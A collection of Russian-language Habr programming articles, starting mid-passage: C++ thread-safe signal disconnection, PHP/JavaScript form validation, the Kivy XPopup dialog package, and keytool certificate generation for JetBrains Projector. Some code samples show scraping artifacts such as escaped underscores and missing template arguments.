Работает это довольно просто: в каждом слоте есть коллекция *weak\_ptr*'ов на отслеживаемые объекты, которые «лочатся» (простите) на время выполнения обработчика. Таким образом, эти объекты гарантированно не разрушаются, пока код обработчика имеет к ним доступ. Если же какой-либо из объектов уже был уничтожен, соединение разрывается.
Проблема в том, что нам для этого требуется иметь *weak\_ptr* на подписываемый объект. На мой взгляд, самый адекватный способ этого достичь — сделать фабричный метод в классе *MediaScanner*, где подписать создаваемый объект на все интересные ему сигналы:
```
class MediaScanner
{
public:
static std::shared_ptr Create(const StorageManagerPtr& storageManager)
{
std::lock\_guard l(storageManager->GetMutex());
MediaScannerPtr result(new MediaScanner);
boost::signals2::signal::slot\_type
slot(bind(&MediaScanner::StorageHandler, result.get(), \_1));
slot.track\_foreign(result);
storageManager->OnStorageAdded.connect(slot);
for (auto&& storage : storageManager->GetStorages())
result->StorageHandler(storage);
return result;
}
private:
MediaScanner() // приватный конструктор!
{ /\* Проинициализировать всё, кроме обработчиков сигналов \*/ }
void StorageHandler(const StoragePtr& storage);
{ /\* Здесь что-то долгое \*/ }
};
```
Итак, недостатки:
* О-очень много кода, который вы каждый раз будете копипастить
* Инициализация *MediaScanner*'а распалась на две части: подписывание на сигналы в методе *Create*, и всё остальное в конструкторе
* Вы **обязаны** использовать *shared\_ptr* для хранения *MediaScanner*
* Вы не уверены, что *MediaScanner* удалён, когда вы отпустили последнюю внешнюю ссылку на него. Это может быть проблемой, если он использует какой-либо ограниченный ресурс, который вы хотите переиспользовать после освобождения *MediaScanner*
### Как сделать лучше?
Давайте сделаем метод *disconnect* блокирующим, чтобы он гарантировал нам, что после того, как он вернёт управление, можно уничтожать всё, к чему имел доступ обработчик сигнала. Что-то вроде метода *std::thread::join*.
Забегая вперёд, скажу, что нам для этого понадобятся три класса:
* **life\_token** — контролирует время жизни обработчика, позволяет пометить его, как «умирающий», и дождаться окончания исполнения, если необходимо
* **life\_token::checker** — хранится внутри сигнала рядом с обработчиком, ссылается на свой *life\_token*
* **life\_token::checker::execution\_guard** — создаётся на стеке на время исполнения обработчика, блокирует соответствующий *life\_token* и позволяет проверить, не «умер» ли обработчик ранее
Код класса *signal\_connection*:
```
class signal_connection
{
life_token _token;
std::function \_eraseHandlerFunc;
public:
signal\_connection(life\_token token, std::function eraseHandlerFunc)
: \_token(token), \_eraseHandlerFunc(eraseHandlerFunc)
{ }
~signal\_connection();
{ disconnect(); }
void disconnect()
{
if (\_token.released())
return;
\_token.release(); // Тут мы ждём, если обработчик сейчас заблокирован (т. е. исполняется)
\_eraseHandler(); // Та самая лямбда-функция, которая удалит обработчик из списка
}
};
```
Тут нужно сказать, что я сторонник RAII-шного объекта соединения. Останавливаться подробно на этом не буду, скажу только, что это в данном контексте несущественно.
Класс *signal* у нас тоже немного поменяется:
```
template < typename Signature >
class signal
{
using populator_type = std::function&)>;
struct handler
{
std::function handler\_func;
life\_token::checker life\_checker;
};
mutable std::mutex \_mutex;
std::list \_handlers;
populator\_type \_populator;
public:
// ...
signal\_connection connect(std::function handler)
{
std::lock\_guard l(\_mutex);
life\_token token;
\_populator(handler);
\_handlers.push\_back(Handler{std::move(handler), life\_token::checker(token)});
return signal\_connection(token, [&]() { /\* удаляем обработчик из \_handlers \*/ } );
}
template < typename... Args >
void operator() (Args&&... args) const
{
for (auto&& handler : \_handlers)
{
life\_token::checker::execution\_guard g(handler.life\_checker);
if (g.is\_alive())
handler.handler\_func(forward(args)...);
}
}
};
```
Теперь у нас рядом с каждым обработчиком лежит объект *life\_token::checker*, который ссылается на *life\_token*, лежащий в *signal\_connection*. Его мы захватываем на время выполнения обработчика при помощи объекта *life\_token::checker::execution\_guard*
**Реализацию этих объектов спрячу под спойлер. Если устали, можете пропустить.**Внутри *life\_token* нам понадобятся следующие вещи:
* Какой-то примитив операционной системы для ожидания в *life\_token::release* (здесь для простоты возьмём мьютекс)
* Флаг «жив/мёртв»
* Счётчик блокировки через *execution\_guard* (здесь для простоты опустим)
```
class life_token
{
struct impl
{
std::mutex mutex;
bool alive = true;
};
std::shared_ptr \_impl;
public:
life\_token() : \_impl(std::make\_shared()) { }
~life\_token() { release(); }
bool released() const { return !\_impl; }
void release()
{
if (released())
return;
std::lock\_guard l(\_impl->mutex);
\_impl->alive = false;
\_impl.reset();
}
class checker
{
shared\_ptr \_impl;
public:
checker(const life\_token& t) : \_impl(t.\_impl) { }
class execution\_guard
{
shared\_ptr \_impl;
public:
execution\_guard(const checker& c) : \_impl(c.\_impl) { \_impl->mutex.lock(); }
~execution\_guard() { \_impl->mutex.unlock(); }
bool is\_alive() const { return \_impl->alive; }
};
};
};
```
Мьютекс захватывается на время жизни *execution\_guard*. Соответственно, если в другом потоке в это время будет вызван метод *life\_token::release*, он заблокируется на захвате того же мьютекса и дождётся окончания выполнения обработчика сигнала. После этого он сбросит флаг *alive*, и все последующие вызовы сигнала не приведут к вызову обработчика.
Как теперь выглядит код *MediaScanner*? Ровно так, как нам и хотелось его написать в самом начале:
```
class MediaScanner
{
private:
signals_connection _connection;
public:
MediaScanner(const StorageManagerPtr& storageManager)
{ _connection = storageManager->OnStorageAdded.connect([&](const StoragePtr& s) { this->StorageHandler(s); }); }
~MediaScanner()
{ _connection.disconnect(); }
private:
void StorageHandler(const StoragePtr& storage)
{ /* Здесь что-то долгое */ }
};
```
Отключение асинхронного обработчика не отменяет вызовы, которые уже попали в очередь его потока
-----------------------------------------------------------------------------------------------
Пишем *MediaUiModel*, которая будет реагировать на найденные медиа-файлы и добавлять в себя строки для их отображения.
Для этого добавим в *MediaScanner* следующий сигнал:
```
signal OnMediaFound;
```
Тут есть две важные вещи:
* Модель — это объект UI-библиотеки, поэтому все действия с ней должны производиться из потока UI.
* Часто в UI-библиотеках используется своя иерархия владения, поэтому мы не можем использовать *shared\_ptr* для хранения модели. Соответственно, фокус с *track*/*track\_foreign* тут не пройдёт, но это сейчас не главное, так что притворимся, что всё хорошо
```
class MediaUiModel : public UiModel
{
private:
boost::io\_service& \_uiThread;
boost::signals2::connection \_connection;
public:
MediaUiModel(boost::io\_service& uiThread, const MediaScanner& scanner)
: \_uiThread(uiThread)
{
std::lock\_guard l(scanner.GetMutex());
scanner.OnMediaFound.connect([&](const MediaPtr& m) { this->MediaHandler(m); });
for (auto&& m : scanner.GetMedia())
AppendRow(MediaUiModelRow(m))
}
~MediaUiModel()
{ \_connection.disconnect(); }
private:
// Этот метод выполняется в потоке MediaScanner'а, и всю реальную работу перебрасывает в поток UI.
void MediaHandler(const MediaPtr& m)
{ \_uiThread.post([&]() { this->AppendRow(MediaUiModelRow(m)); }); }
};
```
Помимо предыдущей проблемы, тут есть ещё одна. Каждый раз, когда срабатывает сигнал, мы перекладываем обработчик в поток UI. Если в какой-то момент мы удаляем модель (например, вышли из приложения «Галерея»), все эти обработчики приходят позже в мёртвый объект. И опять падение.
### Решение в Qt
Всё тот же *deleteLater*, с теми же особенностями.
### Решение в boost::signals2
Если вам повезло, и ваш UI-фреймворк позволяет сказать модели *deleteLater*, вы спасены. Вам достаточно сделать публичный метод, который будет сначала отключать модель от сигналов, а потом вызывать *deleteLater*, и вы получите примерно такое же поведение, как в Qt. Правда, предыдущую проблему вам всё же придётся решить. Для этого вы, скорее всего, сделаете внутри модели *shared\_ptr* на некий класс, который и будете подписывать на сигналы. Кода не очень мало, но это дело техники.
Если же вам не повезло, и ваш UI-фреймворк требует удаления модели ровно тогда, когда ему захотелось, вы будете изобретать свой *life\_token*.
**Например, как-то так (тоже лучше не читайте, если устали).**
```
template < typename Signature_ >
class AsyncToUiHandlerWrapper
{
private:
boost::io_service& _uiThread;
std::function \_realHandler;
bool \_released;
mutable std::mutex \_mutex;
public:
AsyncToUiHandlerWrapper(boost::io\_service& uiThread, std::function realHandler)
: \_uiThread(uiThread), \_realHandler(realHandler), \_released(false)
{ }
void Release()
{
std::lock\_guard l(\_mutex);
\_released = true;
}
template < typename... Args\_ >
static void AsyncHandler(const std::weak\_ptr& selfWeak, Args\_&&... args)
{
auto self = selfWeak.lock();
std::lock\_guard l(self->\_mutex);
if (!self->\_released) // AsyncToUiHandlerWrapper не был освобождён, значит \_uiThread всё ещё ссылается на живой объект
self->\_uiThread.post(std::bind(&AsyncToUiHandlerWrapper::UiThreadHandler, selfWeak, std::forward(args)...)));
}
private:
template < typename... Args\_ >
static void UiThreadHandler(const std::weak\_ptr& selfWeak, Args\_&&... args)
{
auto self = selfWeak.lock();
if (!self)
return;
if (!self->\_released) // AsyncToUiHandlerWrapper не был освобождён, значит, объекты, доступные \_realHandler, ещё живы
self->\_realHandler(std::forward(args)...);
}
};
class MediaUiModel : public UiModel
{
private:
using AsyncMediaHandler = AsyncToUiHandlerWrapper;
private:
std::shared\_ptr \_asyncHandler;
public:
MediaUiModel(boost::io\_service& uiThread, const MediaScanner& scanner)
{
try
{
\_asyncHandler = std::make\_shared(std::ref(uiThread), [&](const MediaPtr& m) { this->AppendRow(MediaUiModelRow(m)); });
std::lock\_guard l(scanner.GetMutex());
boost::signals2::signal::slot\_type
slot(std::bind(&AsyncMediaHandler::AsyncHandler, std::weak\_ptr(\_asyncHandler), std::placeholders::\_1));
slot.track\_foreign(\_asyncHandler);
scanner.OnMediaFound.connect(slot);
for (auto&& m : scanner.GetMedia())
AppendRow(MediaUiModelRow(m));
}
catch (...)
{
Destroy();
throw;
}
}
~MediaUiModel()
{ Destroy(); }
private:
void Destroy()
{
if (\_asyncHandler)
\_asyncHandler->Release(); // Асинхронный код не обращается к MediaUiModel после этой строки, так что можно окончательно разрушать объект
\_asyncHandler.reset();
}
};
```
Я даже не стану комментировать этот код, давайте просто немного погрустим.
### Как сделать лучше?
Очень просто. Во-первых, сделать интерфейс для потока, как очереди задач:
```
struct task_executor
{
virtual ~task_executor() { }
virtual void add_task(const std::function& task) = 0;
};
```
Во-вторых, сделать в сигнале перегруженный метод *connect*, который принимает поток:
```
signal_connection connect(const std::shared_ptr& worker, std::function handler);
```
В этом методе в коллекцию *\_handlers* положить обёртку над обработчиком, которая при вызове перекладывает в нужный поток пару из обработчика и соответствующего *life\_token::checker*. Для вызова реального обработчика в конечном потоке мы будем использовать *execution\_guard* точно так же, как и раньше.
Таким образом, метод *disconnect* нам будет гарантировать в том числе и то, что асинхронные обработчики тоже не будут вызваны после того, как мы отключились от сигнала.
Код обёртки и перегруженного метода *connect* я здесь приводить не буду. Думаю, идея ясна и так.
Код модели же становится совсем простым:
```
class MediaUiModel : public UiModel
{
private:
signal\_connection \_connection;
public:
MediaUiModel(const std::shared\_ptr& uiThread, const MediaScanner& scanner)
{ \_connection = scanner.OnMediaFound.connect(uiThread, [&](const MediaPtr& m) { this->AppendRow(MediaUiModelRow(m)); }); }
~MediaUiModel()
{ \_connection.reset(); }
};
```
Здесь метод *AppendRow* будет вызываться строго в потоке UI, и лишь до тех пор, пока мы не отключимся.
Подводя итоги
=============
Итак, есть три ключевые вещи, которые позволяют писать намного более простой код с использованием сигналов:
1. Популяторы позволяют удобно получать текущее состояние во время подключения к сигналу
2. Блокирующий метод *disconnect* позволяет отписывать объект в его же деструкторе
3. Чтобы предыдущий пункт был верен и для асинхронных обработчиков, *disconnect* должен также помечать те вызовы, которые уже лежат в очереди потока, как «неактуальные»
Конечно, код сигналов, который я тут привёл, очень прост и примитивен, и работает не очень быстро. Моей целью было рассказать об альтернативном подходе, который мне кажется более привлекательным, чем доминирующие сегодня. В реальности все эти вещи можно написать гораздо эффективнее.
Этот подход мы используем в нашем проекте около пяти лет, и очень счастливы.
Готовая реализация
------------------
Я переписал с использованием C++11 с нуля те сигналы, что у нас были, улучшил те части реализации, которые давно стоило улучшить.
Пользуйтесь на здоровье: <https://github.com/koplyarov/wigwag>.
Мини-FAQ
--------
Судя по реакции людей на реддите и в твиттере, в основном всех волнуют три вопроса:
**Q:** Тут же нужно блокировать life\_token на вызов каждого обработчика. Не будет ли это медленно?
**A:** Как ни странно, нет. Можно вместо мьютекса использовать атомарные переменные, а если мы таки попали вызовом *disconnect* в тот момент, когда обработчик исполнялся, ждать на *std::condition\_variable*. Тогда результат абсолютно противоположен: из-за отсутствующего оверхеда в виде *track*/*track\_foreign* (которые требуют работы с коллекциями *weak\_ptr*), эта реализация и по памяти и по скорости оставляет далеко позади boost::signals2, и даже опережает Qt.
Бенчмарки можно посмотреть [тут](https://github.com/koplyarov/wigwag/wiki/Benchmarks).
**Q:** Не будет ли deadlock'ов из-за блокирующего метода disconnect?
**A:** Да, тут deadlock'и получить действительно чуть проще, чем в бусте и Qt. На мой взгляд, это окупается более простым кодом использования сигналов и более высокой скоростью их работы. К тому же, если аккуратно следить за тем, кто на кого подписан, то такие ситуации — скорее исключение.
Ну и, естественно deadlock'и нужно ловить и чинить. В Linux для этого рекомендую [Helgrind](http://valgrind.org/docs/manual/hg-manual.html). Для Windows двухминутный поиск в гугле даёт [Intel Inspector](https://software.intel.com/en-us/intel-inspector-xe) и [CHESS](http://research.microsoft.com/en-us/projects/chess/).
Если же по какой-то причине вы не можете себе позволить ничего из вышеперечисленного (например, на вашей платформе недостаточно памяти для запуска helgrind или вообще какая-нибудь маргинальная операционная система), есть костылерешение в виде вот такого (опять же, упрощённо) класса мьютекса:
```
class mutex
{
private:
std::timed_mutex _m;
public:
void lock()
{
if (_m.try_lock())
return;
while (!_m.try_lock_for(std::chrono::seconds(10)))
Logger::Warning() << "Could not lock mutex " << (void*)this << " for a long time:\n" << get_backtrace_string();
}
// ...
};
```
И в Visual Studio и в GCC есть средства для получения бэктрейса в коде. Кроме того, есть неплохой libunwind.
С этим подходом большую часть ваших deadlock'ов поймают QA, а вы при одном взгляде на логи поймёте, где всё заблокировалось. Останется только починить.
**Q:** Можно ли использовать один мьютекс на несколько сигналов? Можно ли обрабатывать исключения так, как я хочу? Можно ли не использовать синхронизацию, и получить быстрые однопоточные сигналы?
**A:** Можно, можно, можно. Для этого всего есть шаблонные стратегии. Подробнее — в документации. | https://habr.com/ru/post/279851/ | null | ru | null |
# Обработка заполняемой пользователем формы: как уменьшить сложность кода?
Работая над написанием административного, да и пользовательского интерфейса, я не раз ловил себя на мысли — а все ли я делаю так, чтобы при минимуме усилий обеспечить оптимальное качество?
Сегодня хотелось бы обсудить вопрос обработки ошибок ввода форм в веб-приложениях. Как, вы все еще всецело доверяете вводимым пользователем данным и считаете сидящее по ту сторону монитора существо священной коровой? Не бойтесь, это пройдет после первой же атаки, если принципы контроля ввода не станут вам ясны раньше. Впрочем, к делу.
Программирую я на PHP, поэтому примеры серверного кода будут на этом языке.
Представим, что мы решили дополнить свой проект формой для заказа обратного звонка. Мало ли — линии часто перегружены, клиент хочет почувствовать свою весомость, мода такая… ну в общем надо. Быстро накидываем простейший html, пишем обработчик — данные красиво легли в базу, в общем — практически готово. Осталось сделать самую малость — написать обработку ошибок. (Конечно, порядок разработки весьма условен). Каким образом можно это проверить введенную пользователем информацию на правильность и уведомить его о результате?
В случае с правильно заполненной формой работы минимум. А вот если пользователь допустил ошибку и данные некорректны, вы вынуждены снова сгенерировать страницу и отправить ее пользователю. При этом крайне желательно значения всех заполненных полей сохранить, что увеличивает ваш код.
Рассмотрим базовую обработку ошибок (считаем что пользовательские данные уже прошли основные проверки и фильтрации):
```
php
$errors = array();
if ( empty($person) || empty($phone) || empty($question) )
{
$errors[] = 'Не заполнены обязательные поля';
}
if ( count($errors) )
{
$template-assign_switch('errors', 1);
$template->vars(array(
'ERRORS' => implode(' ', $errors),
'PERSON' => $person,
'PHONE' => $phone,
'QUESTION' => $question
)
);
$template->send();
}
?>
```
Нам хочется привнести некоторые удобства для клиента. И на помощь нам приходит…
##### JavaScript
```
<!-- //
function form\_submit()
{
if (
( document.forms['callback'].person.value == '' ) ||
( document.forms['callback'].phone.value == '' ) ||
( document.forms['callback'].question.value == '' )
)
{
alert('Не заполнены обязательные поля');
}
return;
}
// -->
```
Функция alert использована лишь в качестве учебного примера, по статистике часть пользователей закроет его не читая, потому что выводится оно в дизайне ОС и не воспринимается как часть веб-страницы.
Еще раз обращу внимание на то, что серверная проверка все равно необходима.
Каждый раз, когда меня просят рассказать зачем это нужно, я вспоминаю примерно год 2004, когда я, начинающий веб-разработчик, познакомился по переписке со славным парнем с Украины, бывшим тогда автором собственной CMS. Пытаясь перенимать опыт, я как-то поинтересовался у него, как он производит обработку ошибок. Выяснилось, что делает он это только при помощи JavaScript. Пришлось уже самому делиться опытом о том, что можно сохранить страницу на компьютер, подменить адрес обработчика формы и отправить данные без валидации. И если валидации не будет уже на сервере, некорректные данные будут восприняты как нормальные, а дальше все будет зависеть от логики приложения. Позже в процессе работы я часто встречал подобные уязвимости. Вывод напрашивается сам собой — если веб-приложение пишется без понимания особенностей взаимодействия браузера клиента и сервера, результат может быть разным.
Проходит время, сложность форм растет и я обращаю свой взор на следующую технологию.
##### AJAX
Теперь проверка для удобства вынесена в отдельный метод и немного дополнена, в результате получаем примерно такой код:
```
php
$errors = array();
if ( empty($person) || empty($phone) || empty($question) )
{
$errors[] = 'Не заполнены обязательные поля';
}
$ajax = isset($_REQUEST['ajax']);
if ( count($errors) )
{
if ( empty($ajax) )
{
$template-assign_switch('errors', 1);
$template->vars(array(
'ERRORS' => implode(' ', $errors),
'PERSON' => $person,
'PHONE' => $phone,
'QUESTION' => $question
)
);
$template->send();
}
else
{
$ajax_handler->send(array(
'errors' => 1,
'error_text' => implode(' ', $errors),
)
);
}
}
else
{
$ajax_handler->send(array(
'errors' => 0,
'error_text' => '',
)
);
}
?>
```
Далее в браузере клиента мы можем показать тот же самый алерт или вывести сообщение любым другим удобным для нас способом. Юзабилити на высоте — не требуется перезагрузка страницы, удобство дальнейшей поддержки кода тоже — вся обработка ошибок собрана в одном месте.
##### Вредный совет
Пока форма состоит из небольшого количества полей, не так сложно при добавлении очередного поля модифицировать вывод после приема ошибочных данных. А если данных много? В этом случае есть желание облегчить себе работу и отказаться от такой полной поддержки старых браузеров, убрав вывод данных и получив вот такой код:
```
php
if ( count($errors) )
{
if ( empty($ajax) )
{
header('Location: form.php?error_code=1');
exit();
}
}
?
```
Мы существенно упростили себе работу по дальнейшей поддержке кода, при этом сознательно отказавшись от полной поддержки устройств с отключенным JavaScript. Чем-то пришлось жертвовать в угоду собственному удобству. Но такой подход не оправдан, если упор идет на качество разработки.
##### Заключение
На данный момент я продолжаю экспериментировать с проверками данных. Все еще ищу идеальное решение, которое было бы еще более оптимальным. С удовольствием выслушаю критику и обсужу все аспекты различных подходов с читателями. | https://habr.com/ru/post/132805/ | null | ru | null |
# Расширяем фреймворк Kivy пакетом XPopup (Часть 1-я)
### Эти забавные зверушки
Не так давно передо мной встала задача в сжатые ~~сра~~ сроки написать работающий прототип GUI-приложения, которое без лишней строки кода хорошо дружило бы как с Windows, так и с OS X. Выбор пал на змеиный фреймворк [Kivy](https://kivy.org/#home), который с легкостью решал вышесказанное. А также, в базовой комплектации имел весь необходимый инструментарий для реализации приложения.
Ну… почти весь. Под катом расскажу что не так и как это побороть.
### ~~Ёж~~ Киви — птица гордая
Фреймворк имеет полезный класс [kivy.uix.popup.Popup](https://kivy.org/docs/api-kivy.uix.popup.html) для реализации всплывающих окон. Не буду вдаваться в подробности того, что он умеет — статья не об этом. Кому любопытно — по ссылке можно почитать документацию этого класса и его предка — [kivy.uix.modalview.ModalView](https://kivy.org/docs/api-kivy.uix.modalview.html).
Но есть нюансы. Допустим, перед вами стоит банальная задача — вывести текстовое сообщение во всплывающем окне. [Popup](https://kivy.org/docs/api-kivy.uix.popup.html) позволяет это сделать довольно просто, в одну строку:
```
Popup(title='Уведомление', content=Label(text='Получено новое сообщение')).open()
```
Немного усложним задачу — добавим кнопку, по нажатию на которую всплывающее окно должно закрыться:
```
layout = BoxLayout(orientation="vertical")
layout.add_widget(Label(text='Получено новое сообщение'))
button = Button(text='Закрыть')
layout.add_widget(button)
popup = Popup(title='Уведомление', content=layout)
button.bind(on_press=popup.dismiss)
popup.open()
```
Тоже ничего военного, но не совсем удобно для обычного *MessageBox'а*, правда?
Как бывший Delphiнист, имею дурную привычку вызывать *MessageBox* одной строкой. И в коем-то веке дурная привычка принесла пользу — спустя несколько ~~десятков~~ чашек кофе на сцену выходит **XPopup**
### Главное — вовремя остановиться
Безобидная идея упростить себе жизнь со всплывающими сообщениями в итоге выросла в целый пакет, который с удовольствием был ~~отжат~~ включен командой разработчиков в пакет расширений фреймворка.
Для сравнения — вышеописанная задача с кнопкой реализуется следующим образом:
```
XNotifyBase(title='Получено новое сообщение!', text='Что будем делать?',
buttons=['Открыть', 'Пометить прочитанным', 'Напомнить позже'])
```
Но пойдем по порядку. Иерархия классов пакета выглядит так:
Popup
* [XPopup](https://habrahabr.ru/post/302204/#xpopup)
+ [XBase](https://habrahabr.ru/post/302204/#xbase)
- [XNotifyBase](#xnotifybase)
* [XNotification](#xnotification)
* [XMessage](#xmessage)
* [XError](#xerror)
* [XConfirmation](#xconfirmation)
* [XProgress](#xprogress)
- [XFilePopup](https://habrahabr.ru/post/302204/#xfilepopup)
* [XFileOpen](https://habrahabr.ru/post/302204/#xfileopen)
* [XFileSave](https://habrahabr.ru/post/302204/#xfilesave)
* [XFolder](https://habrahabr.ru/post/302204/#xfolder)
- [XForm](https://habrahabr.ru/post/302204/#xform)
* [XSlider](https://habrahabr.ru/post/302204/#xslider)
* [XTextInput](https://habrahabr.ru/post/302204/#xtextinput)
+ [XNotes](https://habrahabr.ru/post/302204/#xnotes)
* [XAuthorization](https://habrahabr.ru/post/302204/#xauthorization)
### Создаем удобства
*Примечание.* В этой статье будут рассмотрены классы уведомлений (*XNotifyBase* и его потомки). Подробнее об остальных классах — [в следующей статье](https://habrahabr.ru/post/302204/).
#### Класс XNotification
Всплывающее окно с заголовком и текстом, без кнопок. Его особенностью является способность автоматически закрываться по истечении указанного количества секунд:
```
XNotification(text='Это окно закроется через 3 секунды', show_time=3)
```
Если *show\_time* не указывать — окно будет закрыто только при вызове метода *.dismiss()*.
#### Класс XMessage
Аналог привычного *MessageBox*, т.е. окно, имеющее заголовок (title), некое сообщение (text) и кнопку «Ok». Пример:
```
XMessage(text='Некое сообщение', title='Заголовок')
```
Стандартная подпись кнопки легко меняется на любую другую:
```
XMessage(text='Некое сообщение', title='Заголовок', buttons=['Закрыть'])
```
Также просто заменяется набор отображаемых кнопок:
```
XMessage(text='Некое сообщение', title='Заголовок', buttons=['Закрыть', 'Напомнить позже'])
```
О том, как обработать нажатие кнопки — будет рассказано ниже.
#### Класс XError
По сути — тот же *XMessage*. Разница в том, что данный класс задает заголовок по умолчанию (т.е. *title* можно не указывать):
```
XError(text='Произошла сферическая ошибка в вакууме')
```
Не нравится стандартный заголовок — задаем свой:
```
XError(text='Произошла сферическая ошибка в вакууме', title='Что-то пошло не так...')
```
Чтобы постоянно не указывать *title*, делаем следующее:
```
class MyError(XError):
buttons = ListProperty(['Закрыть'])
title = StringProperty('Что-то пошло не так...')
MyError(text='Произошла сферическая ошибка в вакууме')
```
#### Класс XConfirmation
Всплывающее окно с заголовком «Confirmation» и кнопками «Yes» и «No». Удобно использовать в случаях, когда от пользователя необходимо получить подтверждение («Yes») какого-либо действия или запрет («No») на выполнение данного действия.
Для начала нам потребуется обработчик события закрытия диалога:
```
def my_callback(instance):
# Метод класса XConfirmation, возвращает True, если была нажата кнопка "Yes"
if instance.is_confirmed():
print('Вы согласились')
else:
print('Вы отказались')
```
После того, как обработчик написан, можно создавать всплывающее окно:
```
XConfirmation(text='Необходимо подтверждение действия. Вы согласны?', on_dismiss=my_callback)
```
Опять же, стандартные кнопки можно заменить своими. Но в таком случае перестанет работать метод *.is\_confirmed()*, так как он ориентируется на нажатие кнопки «Yes». Это легко решается путем использования свойства *.button\_pressed*, хранящим название нажатой кнопки. Внесем изменения в наш обработчик:
```
def my_callback(instance):
# Свойство доступно всем потомкам XBase
if instance.button_pressed == 'Подтвердить':
print('Вы согласились')
else:
print('Вы отказались')
```
Теперь смело можно создавать окно со своим набором кнопок:
```
XConfirmation(
text='Необходимо подтверждение действия. Вы согласны?',
on_dismiss=my_callback, buttons=['Подтвердить', 'Отказать'])
```
#### Класс XProgress
Всплывающее окно с индикатором прогресса и кнопкой «Cancel» (заголовок и сообщение — в комплекте). Для управления индикатором будем использовать следующие свойства:
* value — текущее состояние прогресса
* max — максимальное значение прогресса (по умолчанию, max=100)
Пример:
```
popup = XProgress(value=100, max=1000, text='Идет обработка запроса...', title='Ожидайте', buttons=[])
```
Данный код отобразит всплывающее окно без кнопок, с 10% выполненного прогресса. Дальнейшее изменение прогресса возможно двумя способами.
Способ 1-й — посредством свойства *.value*:
```
# просто указываем новое значение прогресса
popup.value = 20
```
Способ 2-й — используем метод *.inc()*:
```
# увеличиваем текущий прогресс на 1 единицу
popup.inc()
# увеличиваем текущий прогресс на 10 единиц
popup.inc(10)
```
Особенность использования метода *.inc()* заключается в том, что при достижении максимального значения прогресса индикатор не останавливается на максимуме, а происходит «зацикливание», т.е. прогресс сбрасывается и отсчет идет с нуля.
Пример:
```
# Создаем окно и устанавливаем 90% прогресса
popup = XProgress(value=90, text='Идет обработка запроса...', title='Ожидайте')
# Добавляем 15 - теперь индикатор отображает 5%
popup.inc(15)
```
Этот метод очень удобно использовать в случаях, когда заранее неизвестен максимум или количество выполняемых итераций.
Наряду с методом *.inc()* будет полезен метод *.complete()*. Данный метод выполняет следующее:
* устанавливает прогресс в максимальное значение
* заменяет имеющееся сообщение на «Complete»
* прячет кнопки (если они есть)
* автоматически закрывает окно через 2 секунды
#### Класс XNotifyBase
Вышеописанных классов может не хватить на все случаи жизни. Не беда — берем за основу *XNotifyBase* и рисуем все, что душе угодно. Данный класс задает объекту следующее поведение:
* добавляет во всплывающее окно метку ([kivy.uix.label.Label](https://kivy.org/docs/api-kivy.uix.label.html)) для отображения сообщения
* содержит свойство для управления данной меткой (*.text*)
Свойство *.buttons* наследуется от предка *XBase*, но об этом позже.
Оперируя имеющимися свойствами, можно создать свое собственное уведомление для одноразового использования:
```
XNotifyBase(title='Получено новое сообщение!', text='Что будем делать?',
buttons=['Открыть', 'Пометить прочитанным', 'Напомнить позже'])
```
или для многократного:
```
class NotifyNewMail(XNotifyBase):
buttons = ListProperty(['Открыть', 'Пометить прочитанным', 'Напомнить позже'])
title = StringProperty('Получено новое сообщение!')
text = StringProperty('Что будем делать?')
popup = NotifyNewMail()
```
Осталось описать свой обработчик события закрытия диалога — и можно наслаждаться полученным результатом.
### Послесловие
Наглядное пособие (видео демонстрацию) можно посмотреть [здесь](https://youtu.be/UX8gCyEg2J8).
Скачать пакет XPopup — [здесь](https://github.com/kivy-garden/garden.xpopup).
Приятного всем кодинга. | https://habr.com/ru/post/301712/ | null | ru | null |
# Как включить шифрование в JetBrains Projector
Projector — это способ запускать IntelliJ IDEA на удалённом сервере. Недавно я [писал об этом статью](https://habr.com/ru/post/510210/), но умолчал о важной для любого параноика вещи — шифровании данных на вебсокете.
Генерация и подкладывание ключей — довольно муторный кусок работы. Тут придётся познакомиться с особенностями Docker и криптографии в Java. К сожалению, убежать от этого никуда нельзя, потому что это Java, и ребята из JetBrains совершенно не виноваты.
В изначальной статье этот текст был закрыт спойлером, но потом я почувствовал, что читать такую стену текста невозможно и родил вот этот текст. Заранее извините. Открывая эту статью вы соглашаетесь с тем, что увиденное вам не понравится.
Генерация ключей
----------------
Вначале нам нужно сгенерировать набор ключей. Для этого нужно [установить OpenJDK](https://jdk.dev) и использовать инструмент keytool.
Генерация ключей — задача, состоящая из кучи шагов. Для себя я [написал скрипт](https://github.com/projectile-ide/projectile-keymaker/blob/master/projectile-keymaker), и призываю вас воспользоваться им.
```
mkdir ~/keystore
cd ~/keystore
curl https://raw.githubusercontent.com/projectile-ide/projectile-keymaker/master/projectile-keymaker --output ./keymaker
chmod 755 ./keymaker
./projectile-keymaker projector idea true IP 192.168.1.1 mypassword
```
Впрочем, ничего не мешает сделать это самостоятельно. Главное, чтобы на выходе получились два важных файла: `ca.crt` и `server.jks`.
* `ca.crt` — это наш Certificate Authority, которым подписаны серверные ключи. Нужно будет заставить браузер доверять ему.
* `server.jks` — это сертификат конкретного сервера с запущенной IDEA.
Восход Солнца вручную
---------------------
Настоящий параноик никогда не верит каким-то чужим скриптам в интернете, и всё проверяет самостоятельно. Давайте пробежимся по основным шагам.
Вначале нам нужно сгенерить наш собственный Certificate Authority (CA), который мы дальше подпихнём во все браузеры.
```
keytool -genkeypair -v \
-alias ca \
-dname "CN=myCA, OU=Development, O=myCA, L=SPB, S=SPB, C=RU" \
-keystore ca.jks \
-keypass:env PW \
-storepass:env PW \
-keyalg RSA \
-keysize 4096 \
-ext KeyUsage:critical="keyCertSign" \
-ext BasicConstraints:critical="ca:true" \
-validity 9999
```
### Небольшое отступление про пароли
Обратите внимание на вот эту строчку: `-keypass:env PW`. Это означает, что пароль мы вписываем не в консоли (иначе он затеряется в bash history), а берем из переменных окружения.
Можно написать `export PW=mypassword` и этого достаточно, но тогда он тоже потеряется в bash history. Куда логичней положить его в файл.
Например, вот так можно сгенерить случайный пароль и положить его в файл:
```
export PW=`pwgen -Bs 10 1`
echo $PW > password
```
А вот так можно высосать его назад в переменную окружения:
```
export PW=`cat password`
```
Красиво, правда? Конечно, такой файл всё ещё можно украсть с жесткого диска сервера, но это совсем другая история. На протяжении этой статьи я выпью свои таблеточки и представлю, что хранить пароли в текстовом файле — это нормально. Тем более, что нам нужен не файл, а только содержимое переменной окружения `PW`.
### Возвращаемся назад к генерации ключей...
CA мы сгенерили, но в каком-то богомерзком формате JKS, который браузеры не поймут. Чтобы его можно было скормить браузеру, вначале нужно перегнать его в привычный crt:
```
keytool -export -v \
-alias ca \
-file ca.crt \
-keypass:env PW \
-storepass:env PW \
-keystore ca.jks \
-rfc
```
